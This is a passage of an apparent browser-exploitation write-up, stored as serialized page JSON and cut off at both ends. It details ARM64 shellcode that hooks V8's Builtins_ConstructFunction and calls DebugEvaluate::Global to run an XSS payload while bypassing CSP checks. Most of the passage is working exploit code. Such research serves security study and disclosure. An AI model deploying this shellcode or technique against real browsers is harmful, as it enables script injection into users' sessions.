#-16]!\n",{"type":21,"tag":85,"props":140667,"children":140668},{"class":87,"line":1386},[140669],{"type":21,"tag":85,"props":140670,"children":140671},{},[140672],{"type":26,"value":140673},"stp x16, x17, [sp, #-16]!\n",{"type":21,"tag":85,"props":140675,"children":140676},{"class":87,"line":1394},[140677],{"type":21,"tag":85,"props":140678,"children":140679},{},[140680],{"type":26,"value":140681},"stp x18, x19, [sp, #-16]!\n",{"type":21,"tag":85,"props":140683,"children":140684},{"class":87,"line":1402},[140685],{"type":21,"tag":85,"props":140686,"children":140687},{},[140688],{"type":26,"value":140689},"stp x20, x21, [sp, #-16]!\n",{"type":21,"tag":85,"props":140691,"children":140692},{"class":87,"line":3145},[140693],{"type":21,"tag":85,"props":140694,"children":140695},{},[140696],{"type":26,"value":140697},"stp x22, x23, [sp, #-16]!\n",{"type":21,"tag":85,"props":140699,"children":140700},{"class":87,"line":3246},[140701],{"type":21,"tag":85,"props":140702,"children":140703},{},[140704],{"type":26,"value":140705},"stp x24, x25, [sp, #-16]!\n",{"type":21,"tag":85,"props":140707,"children":140708},{"class":87,"line":3255},[140709],{"type":21,"tag":85,"props":140710,"children":140711},{},[140712],{"type":26,"value":140713},"stp x26, x27, [sp, #-16]!\n",{"type":21,"tag":85,"props":140715,"children":140716},{"class":87,"line":3286},[140717],{"type":21,"tag":85,"props":140718,"children":140719},{},[140720],{"type":26,"value":140721},"stp x28, x29, [sp, #-16]!\n",{"type":21,"tag":85,"props":140723,"children":140724},{"class":87,"line":3295},[140725],{"type":21,"tag":85,"props":140726,"children":140727},{},[140728],{"type":26,"value":140729},"str lr, [sp, #-16]!\n",{"type":21,"tag":22,"props":140731,"children":140732},{},[140733],{"type":26,"value":140734},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":21,"tag":22,"props":140736,"children":140737},{},[140738,140740,140745],{"type":26,"value":140739},"The epilogue restores all saved registers, restores the original instructions in ",{"type":21,"tag":66,"props":140741,"children":140743},{"className":140742},[],[140744],{"type":26,"value":139930},{"type":26,"value":140746},", and then returns execution to its beginning:",{"type":21,"tag":75,"props":140748,"children":140750},{"code":140749,"language":139983,"meta":7,"className":139984,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[140751],{"type":21,"tag":66,"props":140752,"children":140753},{"__ignoreMap":7},[140754,140762,140770,140778,140786,140794,140801,140808,140816,140823,140830,140838,140846,140854,140862,140870,140878,140886,140894,140902,140910,140918,140926,140934,140942,140950,140958,140965,140973,140981,140989,140997,141005,141012,141020,141028,141035],{"type":21,"tag":85,"props":140755,"children":140756},{"class":87,"line":88},[140757],{"type":21,"tag":85,"props":140758,"children":140759},{},[140760],{"type":26,"value":140761},"// restore original instructions of Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":140763,"children":140764},{"class":87,"line":98},[140765],{"type":21,"tag":85,"props":140766,"children":140767},{},[140768],{"type":26,"value":140769},"ldr lr, [sp], #16\n",{"type":21,"tag":85,"props":140771,"children":140772},{"class":87,"line":151},[140773],{"type":21,"tag":85,"props":140774,"children":140775},{},[140776],{"type":26,"value":140777},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":140779,"children":140780},{"class":87,"line":160},[140781],{"type":21,"tag":85,"props":140782,"children":140783},{},[140784],{"type":26,"value":140785},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":21,"tag":85,"props":140787,"children":140788},{"class":87,"line":185},[140789],{"type":21,"tag":85,"props":140790,"children":140791},{},[140792],{"type":26,"value":140793},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":21,"tag":85,"props":140795,"children":140796},{"class":87,"line":501},[140797],{"type":21,"tag":85,"props":140798,"children":140799},{"emptyLinePlaceholder":16},[140800],{"type":26,"value":703},{"type":21,"tag":85,"props":140802,"children":140803},{"class":87,"line":697},[140804],{"type":21,"tag":85,"props":140805,"children":140806},{},[140807],{"type":26,"value":140336},{"type":21,"tag":85,"props":140809,"children":140810},{"class":87,"line":706},[140811],{"type":21,"tag":85,"props":140812,"children":140813},{},[140814],{"type":26,"value":140815},"mov x0, lr\n",{"type":21,"tag":85,"props":140817,"children":140818},{"class":87,"line":1100},[140819],{"type":21,"tag":85,"props":140820,"children":140821},{},[140822],{"type":26,"value":140352},{"type":21,"tag":85,"props":140824,"children":140825},{"class":87,"line":1339},[140826],{"type":21,"tag":85,"props":140827,"children":140828},{"emptyLinePlaceholder":16},[140829],{"type":26,"value":703},{"type":21,"tag":85,"props":140831,"children":140832},{"class":87,"line":1348},[140833],{"type":21,"tag":85,"props":140834,"children":140835},{},[140836],{"type":26,"value":140837},"// restore original registers\n",{"type":21,"tag":85,"props":140839,"children":140840},{"class":87,"line":1386},[140841],{"type":21,"tag":85,"props":140842,"children":140843},{},[140844],{"type":26,"value":140845},"ldp x28, x29, [sp], #16\n",{"type":21,"tag":85,"props":140847,"children":140848},{"class":87,"line":1394},[140849],{"type":21,"tag":85,"props":140850,"children":140851},{},[140852],{"type":26,"value":140853},"ldp x26, x27, [sp], #16\n",{"type":21,"tag":85,"props":140855,"children":140856},{"class":87,"line":1402},[140857],{"type":21,"tag":85,"props":140858,"children":140859},{},[140860],{"type":26,"value":140861},"ldp x24, x25, [sp], #16\n",{"type":21,"tag":85,"props":140863,"children":140864},{"class":87,"line":3145},[140865],{"type":21,"tag":85,"props":140866,"children":140867},{},[140868],{"type":26,"value":140869},"ldp x22, x23, [sp], #16\n",{"type":21,"tag":85,"props":140871,"children":140872},{"class":87,"line":3246},[140873],{"type":21,"tag":85,"props":140874,"children":140875},{},[140876],{"type":26,"value":140877},"ldp x20, x21, [sp], #16\n",{"type":21,"tag":85,"props":140879,"children":140880},{"class":87,"line":3255},[140881],{"type":21,"tag":85,"props":140882,"children":140883},{},[140884],{"type":26,"value":140885},"ldp x18, x19, [sp], #16\n",{"type":21,"tag":85,"props":140887,"children":140888},{"class":87,"line":3286},[140889],{"type":21,"tag":85,"props":140890,"children":140891},{},[140892],{"type":26,"value":140893},"ldp x16, x17, [sp], #16\n",{"type":21,"tag":85,"props":140895,"children":140896},{"class":87,"line":3295},[140897],{"type":21,"tag":85,"props":140898,"children":140899},{},[140900],{"type":26,"value":140901},"ldp x14, x15, [sp], #16\n",{"type":21,"tag":85,"props":140903,"children":140904},{"class":87,"line":3308},[140905],{"type":21,"tag":85,"props":140906,"children":140907},{},[140908],{"type":26,"value":140909},"ldp x12, x13, [sp], #16\n",{"type":21,"tag":85,"props":140911,"children":140912},{"class":87,"line":3333},[140913],{"type":21,"tag":85,"props":140914,"children":140915},{},[140916],{"type":26,"value":140917},"ldp x10, x11, [sp], #16\n",{"type":21,"tag":85,"props":140919,"children":140920},{"class":87,"line":3369},[140921],{"type":21,"tag":85,"props":140922,"children":140923},{},[140924],{"type":26,"value":140925},"ldp x8,  x9,  [sp], #16\n",{"type":21,"tag":85,"props":140927,"children":140928},{"class":87,"line":3377},[140929],{"type":21,"tag":85,"props":140930,"children":140931},{},[140932],{"type":26,"value":140933},"ldp x6,  x7,  [sp], #16\n",{"type":21,"tag":85,"props":140935,"children":140936},{"class":87,"line":3386},[140937],{"type":21,"tag":85,"props":140938,"children":140939},{},[140940],{"type":26,"value":140941},"ldp x4,  x5,  [sp], #16\n",{"type":21,"tag":85,"props":140943,"children":140944},{"class":87,"line":3394},[140945],{"type":21,"tag":85,"props":140946,"children":140947},{},[140948],{"type":26,"value":140949},"ldp x2,  x3,  [sp], #16\n",{"type":21,"tag":85,"props":140951,"children":140952},{"class":87,"line":3410},[140953],{"type":21,"tag":85,"props":140954,"children":140955},{},[140956],{"type":26,"value":140957},"ldp x0,  x1,  [sp], #16\n",{"type":21,"tag":85,"props":140959,"children":140960},{"class":87,"line":3427},[140961],{"type":21,"tag":85,"props":140962,"children":140963},{"emptyLinePlaceholder":16},[140964],{"type":26,"value":703},{"type":21,"tag":85,"props":140966,"children":140967},{"class":87,"line":3445},[140968],{"type":21,"tag":85,"props":140969,"children":140970},{},[140971],{"type":26,"value":140972},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":21,"tag":85,"props":140974,"children":140975},{"class":87,"line":3490},[140976],{"type":21,"tag":85,"props":140977,"children":140978},{},[140979],{"type":26,"value":140980},"// it immediately, so we can clobber and use it as a return register.\n",{"type":21,"tag":85,"props":140982,"children":140983},{"class":87,"line":3596},[140984],{"type":21,"tag":85,"props":140985,"children":140986},{},[140987],{"type":26,"value":140988},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":21,"tag":85,"props":140990,"children":140991},{"class":87,"line":23938},[140992],{"type":21,"tag":85,"props":140993,"children":140994},{},[140995],{"type":26,"value":140996},"// where to return\n",{"type":21,"tag":85,"props":140998,"children":140999},{"class":87,"line":23973},[141000],{"type":21,"tag":85,"props":141001,"children":141002},{},[141003],{"type":26,"value":141004},"mov x4, lr\n",{"type":21,"tag":85,"props":141006,"children":141007},{"class":87,"line":23981},[141008],{"type":21,"tag":85,"props":141009,"children":141010},{"emptyLinePlaceholder":16},[141011],{"type":26,"value":703},{"type":21,"tag":85,"props":141013,"children":141014},{"class":87,"line":23989},[141015],{"type":21,"tag":85,"props":141016,"children":141017},{},[141018],{"type":26,"value":141019},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":141021,"children":141022},{"class":87,"line":23998},[141023],{"type":21,"tag":85,"props":141024,"children":141025},{},[141026],{"type":26,"value":141027},"ldp x15, lr, [sp], #16\n",{"type":21,"tag":85,"props":141029,"children":141030},{"class":87,"line":24040},[141031],{"type":21,"tag":85,"props":141032,"children":141033},{"emptyLinePlaceholder":16},[141034],{"type":26,"value":703},{"type":21,"tag":85,"props":141036,"children":141037},{"class":87,"line":24073},[141038],{"type":21,"tag":85,"props":141039,"children":141040},{},[141041],{"type":26,"value":141042},"ret x4\n",{"type":21,"tag":22,"props":141044,"children":141045},{},[141046,141048,141053,141055,141060,141062,141068],{"type":26,"value":141047},"At this point, we have successfully hooked ",{"type":21,"tag":66,"props":141049,"children":141051},{"className":141050},[],[141052],{"type":26,"value":139930},{"type":26,"value":141054}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":21,"tag":66,"props":141056,"children":141058},{"className":141057},[],[141059],{"type":26,"value":140446},{"type":26,"value":141061}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":21,"tag":66,"props":141063,"children":141065},{"className":141064},[],[141066],{"type":26,"value":141067},"Builtins_GlobalEval",{"type":26,"value":73},{"type":21,"tag":22,"props":141070,"children":141071},{},[141072,141077,141079,141084,141086,141091],{"type":21,"tag":66,"props":141073,"children":141075},{"className":141074},[],[141076],{"type":26,"value":141067},{"type":26,"value":141078}," takes a single ",{"type":21,"tag":66,"props":141080,"children":141082},{"className":141081},[],[141083],{"type":26,"value":48381},{"type":26,"value":141085}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":21,"tag":66,"props":141087,"children":141089},{"className":141088},[],[141090],{"type":26,"value":37996},{"type":26,"value":172},{"type":21,"tag":75,"props":141093,"children":141095},{"code":141094,"language":29555,"meta":7,"className":29553,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[141096],{"type":21,"tag":66,"props":141097,"children":141098},{"__ignoreMap":7},[141099,141112,141119,141126,141169,141191,141217],{"type":21,"tag":85,"props":141100,"children":141101},{"class":87,"line":88},[141102,141107],{"type":21,"tag":85,"props":141103,"children":141104},{"style":1021},[141105],{"type":26,"value":141106},"BUILTIN",{"type":21,"tag":85,"props":141108,"children":141109},{"style":114},[141110],{"type":26,"value":141111},"(GlobalEval) {\n",{"type":21,"tag":85,"props":141113,"children":141114},{"class":87,"line":98},[141115],{"type":21,"tag":85,"props":141116,"children":141117},{"style":114},[141118],{"type":26,"value":127615},{"type":21,"tag":85,"props":141120,"children":141121},{"class":87,"line":151},[141122],{"type":21,"tag":85,"props":141123,"children":141124},{"emptyLinePlaceholder":16},[141125],{"type":26,"value":703},{"type":21,"tag":85,"props":141127,"children":141128},{"class":87,"line":160},[141129,141134,141139,141143,141148,141152,141156,141160,141165],{"type":21,"tag":85,"props":141130,"children":141131},{"style":114},[141132],{"type":26,"value":141133},"  if (!Builtins::",{"type":21,"tag":85,"props":141135,"children":141136},{"style":108},[141137],{"type":26,"value":141138},"AllowDynamicFunction",{"type":21,"tag":85,"props":141140,"children":141141},{"style":114},[141142],{"type":26,"value":1439},{"type":21,"tag":85,"props":141144,"children":141145},{"style":108},[141146],{"type":26,"value":141147},"isolate",{"type":21,"tag":85,"props":141149,"children":141150},{"style":114},[141151],{"type":26,"value":256},{"type":21,"tag":85,"props":141153,"children":141154},{"style":108},[141155],{"type":26,"value":115540},{"type":21,"tag":85,"props":141157,"children":141158},{"style":114},[141159],{"type":26,"value":256},{"type":21,"tag":85,"props":141161,"children":141162},{"style":108},[141163],{"type":26,"value":141164},"target_global_proxy",{"type":21,"tag":85,"props":141166,"children":141167},{"style":114},[141168],{"type":26,"value":35641},{"type":21,"tag":85,"props":141170,"children":141171},{"class":87,"line":185},[141172,141177,141181,141186],{"type":21,"tag":85,"props":141173,"children":141174},{"style":120},[141175],{"type":26,"value":141176},"    isolate",{"type":21,"tag":85,"props":141178,"children":141179},{"style":114},[141180],{"type":26,"value":14175},{"type":21,"tag":85,"props":141182,"children":141183},{"style":1021},[141184],{"type":26,"value":141185},"CountUsage",{"type":21,"tag":85,"props":141187,"children":141188},{"style":114},[141189],{"type":26,"value":141190},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":21,"tag":85,"props":141192,"children":141193},{"class":87,"line":501},[141194,141198,141203,141208,141213],{"type":21,"tag":85,"props":141195,"children":141196},{"style":2885},[141197],{"type":26,"value":17411},{"type":21,"tag":85,"props":141199,"children":141200},{"style":1021},[141201],{"type":26,"value":141202}," ReadOnlyRoots",{"type":21,"tag":85,"props":141204,"children":141205},{"style":114},[141206],{"type":26,"value":141207},"(isolate).",{"type":21,"tag":85,"props":141209,"children":141210},{"style":1021},[141211],{"type":26,"value":141212},"undefined_value",{"type":21,"tag":85,"props":141214,"children":141215},{"style":114},[141216],{"type":26,"value":4437},{"type":21,"tag":85,"props":141218,"children":141219},{"class":87,"line":697},[141220],{"type":21,"tag":85,"props":141221,"children":141222},{"style":114},[141223],{"type":26,"value":191},{"type":21,"tag":22,"props":141225,"children":141226},{},[141227,141229,141234],{"type":26,"value":141228},"This means we would need to patch the function further to ensure it never enters this ",{"type":21,"tag":66,"props":141230,"children":141232},{"className":141231},[],[141233],{"type":26,"value":15999},{"type":26,"value":141235}," block.",{"type":21,"tag":22,"props":141237,"children":141238},{},[141239],{"type":26,"value":141240},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":21,"tag":75,"props":141242,"children":141244},{"code":141243,"language":29555,"meta":7,"className":29553,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[141245],{"type":21,"tag":66,"props":141246,"children":141247},{"__ignoreMap":7},[141248,141259,141266,141273,141280,141288,141300,141308,141325,141355,141363,141375],{"type":21,"tag":85,"props":141249,"children":141250},{"class":87,"line":88},[141251,141255],{"type":21,"tag":85,"props":141252,"children":141253},{"style":1021},[141254],{"type":26,"value":141106},{"type":21,"tag":85,"props":141256,"children":141257},{"style":114},[141258],{"type":26,"value":141111},{"type":21,"tag":85,"props":141260,"children":141261},{"class":87,"line":98},[141262],{"type":21,"tag":85,"props":141263,"children":141264},{"emptyLinePlaceholder":16},[141265],{"type":26,"value":703},{"type":21,"tag":85,"props":141267,"children":141268},{"class":87,"line":151},[141269],{"type":21,"tag":85,"props":141270,"children":141271},{"style":114},[141272],{"type":26,"value":127615},{"type":21,"tag":85,"props":141274,"children":141275},{"class":87,"line":160},[141276],{"type":21,"tag":85,"props":141277,"children":141278},{"emptyLinePlaceholder":16},[141279],{"type":26,"value":703},{"type":21,"tag":85,"props":141281,"children":141282},{"class":87,"line":185},[141283],{"type":21,"tag":85,"props":141284,"children":141285},{"style":114},[141286],{"type":26,"value":141287},"  DirectHandle\u003CJSFunction> function;\n",{"type":21,"tag":85,"props":141289,"children":141290},{"class":87,"line":501},[141291,141296],{"type":21,"tag":85,"props":141292,"children":141293},{"style":1021},[141294],{"type":26,"value":141295},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":21,"tag":85,"props":141297,"children":141298},{"style":114},[141299],{"type":26,"value":1029},{"type":21,"tag":85,"props":141301,"children":141302},{"class":87,"line":697},[141303],{"type":21,"tag":85,"props":141304,"children":141305},{"style":114},[141306],{"type":26,"value":141307},"      isolate, function,\n",{"type":21,"tag":85,"props":141309,"children":141310},{"class":87,"line":706},[141311,141316,141321],{"type":21,"tag":85,"props":141312,"children":141313},{"style":114},[141314],{"type":26,"value":141315},"      Compiler::",{"type":21,"tag":85,"props":141317,"children":141318},{"style":1021},[141319],{"type":26,"value":141320},"GetFunctionFromValidatedString",{"type":21,"tag":85,"props":141322,"children":141323},{"style":114},[141324],{"type":26,"value":1029},{"type":21,"tag":85,"props":141326,"children":141327},{"class":87,"line":1100},[141328,141333,141337,141341,141345,141350],{"type":21,"tag":85,"props":141329,"children":141330},{"style":1021},[141331],{"type":26,"value":141332},"          direct_handle",{"type":21,"tag":85,"props":141334,"children":141335},{"style":114},[141336],{"type":26,"value":1439},{"type":21,"tag":85,"props":141338,"children":141339},{"style":120},[141340],{"type":26,"value":115540},{"type":21,"tag":85,"props":141342,"children":141343},{"style":114},[141344],{"type":26,"value":14175},{"type":21,"tag":85,"props":141346,"children":141347},{"style":1021},[141348],{"type":26,"value":141349},"native_context",{"type":21,"tag":85,"props":141351,"children":141352},{"style":114},[141353],{"type":26,"value":141354},"(), isolate), source,\n",{"type":21,"tag":85,"props":141356,"children":141357},{"class":87,"line":1339},[141358],{"type":21,"tag":85,"props":141359,"children":141360},{"style":114},[141361],{"type":26,"value":141362},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":21,"tag":85,"props":141364,"children":141365},{"class":87,"line":1348},[141366,141371],{"type":21,"tag":85,"props":141367,"children":141368},{"style":1021},[141369],{"type":26,"value":141370},"  RETURN_RESULT_OR_FAILURE",{"type":21,"tag":85,"props":141372,"children":141373},{"style":114},[141374],{"type":26,"value":1029},{"type":21,"tag":85,"props":141376,"children":141377},{"class":87,"line":1386},[141378,141383,141388],{"type":21,"tag":85,"props":141379,"children":141380},{"style":114},[141381],{"type":26,"value":141382},"      isolate, Execution::",{"type":21,"tag":85,"props":141384,"children":141385},{"style":1021},[141386],{"type":26,"value":141387},"Call",{"type":21,"tag":85,"props":141389,"children":141390},{"style":114},[141391],{"type":26,"value":141392},"(isolate, function, target_global_proxy, {}));\n",{"type":21,"tag":22,"props":141394,"children":141395},{},[141396,141398,141403,141405,141411,141413,141419,141421,141427],{"type":26,"value":141397},"But determining the correct ",{"type":21,"tag":66,"props":141399,"children":141401},{"className":141400},[],[141402],{"type":26,"value":115540},{"type":26,"value":141404}," value, obtaining ",{"type":21,"tag":66,"props":141406,"children":141408},{"className":141407},[],[141409],{"type":26,"value":141410},"target->native_context()",{"type":26,"value":141412},", and locating the ",{"type":21,"tag":66,"props":141414,"children":141416},{"className":141415},[],[141417],{"type":26,"value":141418},"direct_handle",{"type":26,"value":141420}," function, just to make a proper call to ",{"type":21,"tag":66,"props":141422,"children":141424},{"className":141423},[],[141425],{"type":26,"value":141426},"Compiler::GetFunctionFromValidatedString",{"type":26,"value":141428},", seemed unnecessarily cumbersome.",{"type":21,"tag":22,"props":141430,"children":141431},{},[141432,141434,141440],{"type":26,"value":141433},"Instead, we found a much simpler option with no security checks: ",{"type":21,"tag":66,"props":141435,"children":141437},{"className":141436},[],[141438],{"type":26,"value":141439},"DebugEvaluate::Global",{"type":26,"value":141441},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":21,"tag":22,"props":141443,"children":141444},{},[141445],{"type":26,"value":141446},"For our needs, it is straightforward to call:",{"type":21,"tag":75,"props":141448,"children":141450},{"code":141449,"language":29555,"meta":7,"className":29553,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[141451],{"type":21,"tag":66,"props":141452,"children":141453},{"__ignoreMap":7},[141454,141502,141531,141552],{"type":21,"tag":85,"props":141455,"children":141456},{"class":87,"line":88},[141457,141462,141466,141470,141475,141480,141484,141489,141493,141498],{"type":21,"tag":85,"props":141458,"children":141459},{"style":108},[141460],{"type":26,"value":141461},"MaybeDirectHandle",{"type":21,"tag":85,"props":141463,"children":141464},{"style":114},[141465],{"type":26,"value":117},{"type":21,"tag":85,"props":141467,"children":141468},{"style":108},[141469],{"type":26,"value":49306},{"type":21,"tag":85,"props":141471,"children":141472},{"style":114},[141473],{"type":26,"value":141474},"> DebugEvaluate::",{"type":21,"tag":85,"props":141476,"children":141477},{"style":1021},[141478],{"type":26,"value":141479},"Global",{"type":21,"tag":85,"props":141481,"children":141482},{"style":114},[141483],{"type":26,"value":1439},{"type":21,"tag":85,"props":141485,"children":141486},{"style":108},[141487],{"type":26,"value":141488},"Isolate",{"type":21,"tag":85,"props":141490,"children":141491},{"style":102},[141492],{"type":26,"value":3052},{"type":21,"tag":85,"props":141494,"children":141495},{"style":120},[141496],{"type":26,"value":141497}," isolate",{"type":21,"tag":85,"props":141499,"children":141500},{"style":114},[141501],{"type":26,"value":182},{"type":21,"tag":85,"props":141503,"children":141504},{"class":87,"line":98},[141505,141510,141514,141518,141522,141527],{"type":21,"tag":85,"props":141506,"children":141507},{"style":108},[141508],{"type":26,"value":141509},"                                                Handle",{"type":21,"tag":85,"props":141511,"children":141512},{"style":114},[141513],{"type":26,"value":117},{"type":21,"tag":85,"props":141515,"children":141516},{"style":108},[141517],{"type":26,"value":48381},{"type":21,"tag":85,"props":141519,"children":141520},{"style":114},[141521],{"type":26,"value":133},{"type":21,"tag":85,"props":141523,"children":141524},{"style":120},[141525],{"type":26,"value":141526},"source",{"type":21,"tag":85,"props":141528,"children":141529},{"style":114},[141530],{"type":26,"value":182},{"type":21,"tag":85,"props":141532,"children":141533},{"class":87,"line":151},[141534,141539,141544,141548],{"type":21,"tag":85,"props":141535,"children":141536},{"style":114},[141537],{"type":26,"value":141538},"                                                debug::",{"type":21,"tag":85,"props":141540,"children":141541},{"style":108},[141542],{"type":26,"value":141543},"EvaluateGlobalMode",{"type":21,"tag":85,"props":141545,"children":141546},{"style":120},[141547],{"type":26,"value":106736},{"type":21,"tag":85,"props":141549,"children":141550},{"style":114},[141551],{"type":26,"value":182},{"type":21,"tag":85,"props":141553,"children":141554},{"class":87,"line":160},[141555,141560,141565],{"type":21,"tag":85,"props":141556,"children":141557},{"style":108},[141558],{"type":26,"value":141559},"                                                REPLMode",{"type":21,"tag":85,"props":141561,"children":141562},{"style":120},[141563],{"type":26,"value":141564}," repl_mode",{"type":21,"tag":85,"props":141566,"children":141567},{"style":114},[141568],{"type":26,"value":777},{"type":21,"tag":22,"props":141570,"children":141571},{},[141572,141574,141579,141581,141586,141588,141593,141595,141601,141602,141608],{"type":26,"value":141573},"We must supply the ",{"type":21,"tag":66,"props":141575,"children":141577},{"className":141576},[],[141578],{"type":26,"value":141147},{"type":26,"value":141580}," pointer, a ",{"type":21,"tag":66,"props":141582,"children":141584},{"className":141583},[],[141585],{"type":26,"value":48381},{"type":26,"value":141587}," object containing our XSS payload as ",{"type":21,"tag":66,"props":141589,"children":141591},{"className":141590},[],[141592],{"type":26,"value":141526},{"type":26,"value":141594},", and the ",{"type":21,"tag":66,"props":141596,"children":141598},{"className":141597},[],[141599],{"type":26,"value":141600},"mode",{"type":26,"value":11408},{"type":21,"tag":66,"props":141603,"children":141605},{"className":141604},[],[141606],{"type":26,"value":141607},"repl_mode",{"type":26,"value":141609}," values, which are simple enum literals.",{"type":21,"tag":22,"props":141611,"children":141612},{},[141613,141615,141620,141622,141628,141630,141635,141637,141642,141644,141650,141652,141658,141660,141665,141667,141672,141674,141679,141681,141686],{"type":26,"value":141614},"To obtain the ",{"type":21,"tag":66,"props":141616,"children":141618},{"className":141617},[],[141619],{"type":26,"value":141147},{"type":26,"value":141621}," pointer within our shellcode, we call ",{"type":21,"tag":66,"props":141623,"children":141625},{"className":141624},[],[141626],{"type":26,"value":141627},"Isolate::TryGetCurrent()",{"type":26,"value":141629},", which returns the current ",{"type":21,"tag":66,"props":141631,"children":141633},{"className":141632},[],[141634],{"type":26,"value":141147},{"type":26,"value":141636},". To construct a valid ",{"type":21,"tag":66,"props":141638,"children":141640},{"className":141639},[],[141641],{"type":26,"value":48381},{"type":26,"value":141643}," object holding our payload, we call ",{"type":21,"tag":66,"props":141645,"children":141647},{"className":141646},[],[141648],{"type":26,"value":141649},"v8::String::NewFromUTF8",{"type":26,"value":141651},". This ",{"type":21,"tag":66,"props":141653,"children":141655},{"className":141654},[],[141656],{"type":26,"value":141657},"NewFromUTF8",{"type":26,"value":141659}," function takes four arguments: the ",{"type":21,"tag":66,"props":141661,"children":141663},{"className":141662},[],[141664],{"type":26,"value":141147},{"type":26,"value":141666},", the string bytes as ",{"type":21,"tag":66,"props":141668,"children":141670},{"className":141669},[],[141671],{"type":26,"value":4469},{"type":26,"value":141673},", an enum literal specifying the string type, and ",{"type":21,"tag":66,"props":141675,"children":141677},{"className":141676},[],[141678],{"type":26,"value":2863},{"type":26,"value":141680},", which is the size of the ",{"type":21,"tag":66,"props":141682,"children":141684},{"className":141683},[],[141685],{"type":26,"value":4469},{"type":26,"value":17586},{"type":21,"tag":22,"props":141688,"children":141689},{},[141690],{"type":26,"value":141691},"The resulting shellcode that executes our XSS payload looks like this:",{"type":21,"tag":75,"props":141693,"children":141695},{"code":141694,"language":139983,"meta":7,"className":139984,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr 